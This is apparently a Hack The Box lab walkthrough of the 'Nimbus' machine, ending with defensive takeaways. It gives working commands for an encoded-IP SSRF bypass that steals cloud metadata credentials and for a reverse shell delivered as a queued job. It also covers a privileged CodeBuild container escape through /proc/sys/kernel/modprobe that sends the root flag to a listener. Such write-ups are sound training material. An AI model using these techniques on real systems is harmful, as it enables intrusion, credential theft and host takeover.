Nimbus is a hard-difficulty linux machine from Hack The Box that starts with a Server-Side Request Forgery (SSRF) vulnerability in a job-submission feature that fetches arbitrary URLs for us. By octal-encoding the IP of the instance metadata service we bypass the “metadata endpoints are blocked” filter and steal temporary STS credentials for the nimbus-web-role. That role can only list SQS queues, but the queue URL leaks the internal hostname of a LocalStack container named floci. Using the SSRF a second time with a decimal-encoded IP, we sweep the Docker bridge, locate LocalStack on port 4566, and read the worker source straight out of its unauthenticated S3. The worker deserialises jobs with the unsafe YAML loader and runs an attacker-controlled script field through python3 -c, so sending a message to the queue gives us a reverse shell as worker and user.txt. Inside the container we find the internal LocalStack runs with IAM enforcement off, giving us unauthenticated access to CodeBuild, which we abuse with a privilegedMode build and a writable /proc/sys/kernel/modprobe usermode-helper trigger to execute code as host root and read root.txt.
Nimbus-info-card
Reconnaissance
We start with a full TCP sweep with version detection and the default scripts:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 eb:ab:8f:be:99:02:0b:3e:c4:1c:83:b2:66:2f:17:13 (ECDSA) |_ 256 c1:69:ab:84:f3:88:8b:b3:8a:ae:e2:28:35:54:35:0b (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Nimbus \xE2\x80\x94 Internal Job Scheduler |_http-server-header: nginx/1.24.0 (Ubuntu) 24876/tcp filtered unknown 32345/tcp filtered unknown 39166/tcp filtered unknown 42407/tcp filtered unknown 64367/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have our usual SSH port 22 and a web application on port 80 titled “Nimbus — Internal Job Scheduler”. The handful of high filtered ports look like container/cloud plumbing behind the proxy — nothing to hit directly — so the website it is. We add the obvious vhost to our hosts file:
1
echo"10.129.33.240 nimbus.htb" | sudo tee -a /etc/hosts
The landing page is plain, but the copy is doing a lot of talking:
1 2 3 4 5 6 7 8 9 10
<h1>Nimbus</h1> <divclass="tag">Internal job scheduler — Nimbus Labs Engineering</div> <nav> <ahref="/jobs">Submit Job</a> <ahref="/login">Sign In</a> </nav> <divclass="panel"><h3>What is this?</h3><p>Nimbus runs scheduled and on-demand background jobs across our worker fleet.</p></div> <divclass="panel"><h3>How do I submit a job?</h3><p>Drop the YAML in our internal Git, then point the <ahref="/jobs">job submitter</a> at the raw URL. Or paste the YAML directly for ad-hoc runs.</p></div> <divclass="meta">nimbus v1.4.2 · <ahref="/api/v1/health">healthcheck</a> · <ahref="/docs">docs</a></div>
There’s a health endpoint advertised, so we check it — and it leaks the backend topology straight away:
The queue, scheduler, and storage all live behind aws.nimbus.htb. That’s a second vhost we’ll need, so it goes in the hosts file too:
1
echo"10.129.33.240 aws.nimbus.htb" | sudo tee -a /etc/hosts
Now the actual feature — /jobs:
1
curl -s http://nimbus.htb/jobs
1 2 3 4 5 6 7 8
<formmethod="POST"action="/jobs/preview"> <labelfor="url">Raw Git URL</label> <inputtype="url"name="url"id="url"placeholder="https://gitlab.example.com/devops/jobs/raw/main/backup.yaml"> <pclass="hint">URL must point to a .yaml file. Internal addresses and metadata endpoints are blocked.</p> <buttontype="submit">Preview Job</button> </form> ... <pclass="hint">Parsed with safe_load. No code execution at submission time.</p>
There are two interesting things here. The “By URL” tab POSTs a url to /jobs/preview and the server goes and fetches it for us — that’s a Server-Side Request Forgery surface. And the hint underneath is practically a confession: “Internal addresses and metadata endpoints are blocked.” When a developer tells you exactly what they were afraid of, they’re telling you exactly where to push. Cloud box plus “metadata endpoints are blocked” means they’re scared of the instance metadata service, so that’s where we go.
SSRF → Instance Metadata
First the honest attempt, just to see the guard rail:
1 2
curl -s -X POST http://nimbus.htb/jobs/preview \ --data-urlencode "url=http://169.254.169.254/latest/meta-data/?a=test.yaml"
1
<divclass="panel err"><strong>Error:</strong> Security policy: this URL targets an internal resource and has been blocked.</div>
Blocked, as advertised. But the filter is doing string/range matching on the IP as written, and IPv4 has more than one spelling. The classic move is to re-encode 169.254.169.254 so it doesn’t look like itself. Octal does the trick — each octet with a leading zero: 169 → 0251, 254 → 0376, giving 0251.0376.0251.0376. We also have to satisfy the “must point to a .yaml file” check, so we bolt a junk ?a=test.yaml on the end; the metadata service ignores the unknown query param and the validator only looks at the suffix.
Listing the IAM roles bound to the instance:
1 2
curl -s -X POST http://nimbus.htb/jobs/preview \ --data-urlencode "url=http://0251.0376.0251.0376/latest/meta-data/iam/security-credentials/?a=test.yaml"
A full set of STS credentials — an ASIA... key plus a session token. While we have the SSRF open we also grab the instance’s own internal address, which will matter later when we start poking around the private network:
1 2
curl -s -X POST http://nimbus.htb/jobs/preview \ --data-urlencode "url=http://0251.0376.0251.0376/latest/meta-data/local-ipv4?a=test.yaml"
1
<h3>Raw response</h3><pre>10.0.1.42</pre>
We save the credentials into creds.json so boto3 can pick them up cleanly.
Enumerating the Role
The health endpoint told us everything talks to aws.nimbus.htb, so that’s our --endpoint-url. We write a tiny boto3 probe to confirm who we are and brute-force our way through the obvious read calls:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import boto3, json c = json.load(open('creds.json')) s = boto3.Session(aws_access_key_id=c['AccessKeyId'], aws_secret_access_key=c['SecretAccessKey'], aws_session_token=c['Token'], region_name='us-east-1') EP = "http://aws.nimbus.htb"
print("CALLER:", s.client('sts', endpoint_url=EP).get_caller_identity()['Arn']) for svc, m in [("sqs","list_queues"),("s3","list_buckets"),("lambda","list_functions"), ("dynamodb","list_tables"),("sns","list_topics"),("codebuild","list_projects")]: try: getattr(s.client(svc, endpoint_url=EP), m)() print(f"[ALLOWED] {svc}.{m}") except Exception as e: print(f"[DENIED] {svc}.{m} -> {type(e).__name__}")
One queue, nimbus-jobs. And look at the URL it returns — not aws.nimbus.htb, but http://floci:4566/.... That’s the internal hostname of the backend (floci) on port 4566, which is LocalStack ‘s default port. So the public aws.nimbus.htb is just a proxy in front of a LocalStack container called floci. Worth remembering.
Reaching Internal LocalStack (SSRF, round two)
The role can list a queue but can’t read S3, and we really want to know what the workers actually do with these jobs. The S3 data lives on that internal floci box. Our SSRF runs from inside the network, so it can reach internal hosts the role’s IAM can’t — but first we have to actually find floci.
Trying the hostname through the SSRF gets us nowhere (it doesn’t resolve on the fetcher side), and the plain private IP is blocked by the same policy as before. So we lean on the same encoding trick used for the metadata service, this time with decimal IPs, and sweep the Docker bridge range for anything answering LocalStack’s health endpoint on 4566. The instance was 10.0.1.42, but LocalStack containers usually sit on a 172.x bridge, so we start there:
1 2 3 4 5 6 7 8
ssrf() { curl -s -X POST http://nimbus.htb/jobs/preview --data-urlencode "url=$1" ; } for o in 1 2 3 4 5 6; do dec=$(python3 -c "print((172<<24)+(18<<16)+$o)") body=$(ssrf "http://$dec:4566/_localstack/health?a=test.yaml") raw=$(echo"$body" | sed -n 's@.*Raw response</h3><pre>\(.*\)@\1@p' | head -c 60) err=$(echo"$body" | grep -oiE "could not fetch|internal resource" | head -1) echo"172.18.0.$o ($dec) -> ${raw:-${err:-no-response}}" done
1 2 3 4 5 6
172.18.0.1 (2886860801) -> Could not fetch 172.18.0.2 (2886860802) -> {"edition":"community","services":{"ssm":"ru 172.18.0.3 (2886860803) -> Could not fetch 172.18.0.4 (2886860804) -> Could not fetch 172.18.0.5 (2886860805) -> Could not fetch 172.18.0.6 (2886860806) -> Could not fetch
There it is — 172.18.0.2:4566 (decimal 2886860802) is floci. The full health output confirms it’s a fat LocalStack instance with basically every service turned on:
1 2
curl -s -X POST http://nimbus.htb/jobs/preview \ --data-urlencode "url=http://2886860802:4566/_localstack/health?a=test.yaml"
codebuild being “running” catches our eye immediately (keep that in mind), but first things first — we want the source. The nimbus-web-role couldn’t GetObject on the public endpoint, but the internal LocalStack doesn’t ask us for credentials at all. The bucket will be something dev-flavoured, and nimbus-dev-artifacts is the obvious guess for where a job worker’s code would be staged. Path-style S3 read, through the SSRF, via the decimal IP:
1 2
curl -s -X POST http://nimbus.htb/jobs/preview \ --data-urlencode "url=http://2886860802:4566/nimbus-dev-artifacts/source/worker.py?a=test.yaml"
defhandle_message(body): job = yaml.load(body, Loader=yaml.Loader) # full (unsafe) loader ifnotisinstance(job, dict): return name = job.get("name", "<unnamed>") script = job.get("script", "") if script: result = subprocess.run(["python3", "-c", script], # runs attacker-controlled code capture_output=True, text=True, timeout=30)
defmain(): whileTrue: resp = sqs.receive_message(QueueUrl=QUEUE_URL, MaxNumberOfMessages=1, WaitTimeSeconds=POLL_SECS) for m in resp.get("Messages", []): handle_message(m["Body"]) sqs.delete_message(QueueUrl=QUEUE_URL, ReceiptHandle=m["ReceiptHandle"])
if __name__ == "__main__": main()
This is the whole foothold sitting in thirty lines. The web front-end loudly parses with safe_load and promises “no code execution at submission time” — but the worker on the far side of the queue does the exact opposite. It pulls each message off nimbus-jobs, runs it through yaml.load(..., Loader=yaml.Loader) (the unsafe full loader), then takes a script field straight out of the job and feeds it to python3 -c. And the one permission our stolen role does have is the ability to write to that queue. So this is remote code execution by design — we just have to send the worker a job.
Foothold → user.txt
Listener up:
1
nc -lvnp 9001
Then we enqueue a job whose script field is a Python reverse shell. The role can SendMessage to nimbus-jobs; the worker polls every 5 seconds, deserialises our message, and executes our code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import boto3, json c = json.load(open('creds.json')) s = boto3.Session(aws_access_key_id=c['AccessKeyId'], aws_secret_access_key=c['SecretAccessKey'], aws_session_token=c['Token'], region_name='us-east-1') sqs = s.client('sqs', endpoint_url="http://aws.nimbus.htb") Q = "http://aws.nimbus.htb/847219365028/nimbus-jobs"
Listening on 0.0.0.0 9001 Connection received on 10.129.33.240 52894 worker@eebc6a19dffa:~$ id uid=1000(worker) gid=1000(worker) groups=1000(worker) worker@eebc6a19dffa:~$ cat /home/*/user.txt d8c39dd75ca9085d8a0a6027492e1259
We have user.txt.
Enumerating from Inside the Worker
We’re uid=1000(worker) inside a container (eebc6a19dffa). Time to look around for the way up. A few things stand out immediately:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
worker@eebc6a19dffa:~$ uname -a Linux eebc6a19dffa 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
worker@eebc6a19dffa:~$ sudo -n true 2>&1; echo rc=$? /bin/sh: 1: sudo: not found
Two useful facts. First, the worker carries its own static AWS keys (AKIA..., long-lived, not the STS ones we stole) baked into its environment. Second — and this is the big one — from in here floci resolves and is directly reachable. So we can talk to that internal LocalStack on floci:4566 with no proxy in the way.
Remember codebuild.list_projects was denied on the public endpoint? Let’s see what happens against the internal one. In fact, let’s deliberately use garbage credentials to test whether it even bothers checking:
That’s the whole ballgame. The internal LocalStack runs with IAM enforcement off — it accepted obviously-fake credentials and answered anyway. The public proxy enforces IAM; floci does not. And one of its 51 running services is CodeBuild, which we now have completely unauthenticated access to from inside the worker.
Privilege Escalation → root.txt
CodeBuild in LocalStack backs its builds with real Docker containers on the host. The dangerous part is that a project can request privilegedMode: true, which gives the build container a fat capability set, a shared kernel with the host, and write access into /proc/sys/.... That’s not a build setting, that’s a host-root primitive waiting to be used. The plan:
Create a privileged CodeBuild project (image floci/floci:latest, the same image floci uses, so it’s present locally).
Inside the build, abuse the kernel usermode-helper mechanism. When the kernel hits a binary format it doesn’t recognise, it calls the program named in /proc/sys/kernel/modprobe — and in a privileged container that file is writable and resolves against the host filesystem through the overlay upperdir. So we point it at our own script and then trigger it by executing a file with bogus magic bytes (\xff\xff\xff\xff). The kernel can’t find a handler → runs our script → as host root.
One catch: floci’s image entrypoint tries to drop privileges by checking id first. We smuggle a shell function in through the BASH_FUNC_id%% environment variable so idreports uid 0 and the entrypoint trusts it.
There’s a subtlety worth calling out: the build container itself can’t route to our tun0, so the exfil can’t come from inside the build. That’s fine — the payload runs on the host via the usermode helper, and the host can reach us. So the host-side script is what phones home with the flag.
The upperdir line is the clever bit — it reads where the container’s overlay filesystem actually lives on the host, and rewrites the modprobe path so it points at payload.sh as the host sees it, not as the container sees it.
The driver, run from the worker (note the floci:4566 endpoint and the BASH_FUNC_id%% smuggle):
Listening on 0.0.0.0 9005 Connection received on 10.129.33.240 43636 a05f85ddcdfe9d4e85a5301c9cda6ea1
The privileged build container came up, wrote our payload into a host-visible path, repointed /proc/sys/kernel/modprobe at it, and the unknown-magic execve made the kernel fire the usermode helper — running our script as host root, which read /root/root.txt off the real host and handed it over. We have root.txt.
The Chain, Start to Finish
1 2 3 4 5 6 7 8 9 10 11 12
SSRF on /jobs/preview └─ octal-encoded IP defeats the metadata blocklist └─ steal nimbus-web-role STS creds from IMDS └─ role can only sqs:list_queues → reveals queue on internal host "floci:4566" └─ decimal-IP SSRF sweep finds LocalStack at 172.18.0.2:4566 └─ internal S3 (no IAM) → read worker.py └─ worker yaml.load()s jobs and runs the 'script' via python3 -c └─ SendMessage a reverse shell → user.txt (uid=1000 worker) └─ inside worker: floci:4566 CodeBuild answers junk creds (ENFORCE_IAM=false) └─ privilegedMode:true project + BASH_FUNC_id%% entrypoint bypass └─ writable /proc/sys/kernel/modprobe → usermode-helper as HOST root └─ root.txt
Key Takeaways
IP allow/deny lists that match on the string are not a control. Octal, decimal, and other IPv4 encodings walked straight past the “metadata endpoints are blocked” filter. If you must protect IMDS, enforce IMDSv2 and block at the network layer — don’t regex the URL.
A trust boundary follows the data, not the service. The web tier validated with safe_load and bragged about it; the worker on the other side of the queue used the unsafe loader andpython3 -c on a user field. Validating at one hop means nothing if the next hop trusts the same data blindly.
Two endpoints, two IAM postures, one privesc. The public LocalStack proxy enforced IAM; the internal floci:4566 had ENFORCE_IAM=false and accepted junk credentials. Once you have code execution on the inside, that internal endpoint is an open door to every service it runs — here, CodeBuild.
privilegedMode: true is root on the host. Shared kernel plus a writable /proc/sys/kernel/modprobe plus the usermode-helper trigger is a clean, reliable container escape, and BASH_FUNC_* smuggling neuters entrypoints that “drop privileges” by trusting id.
That was it for Nimbus, hope you learned something new!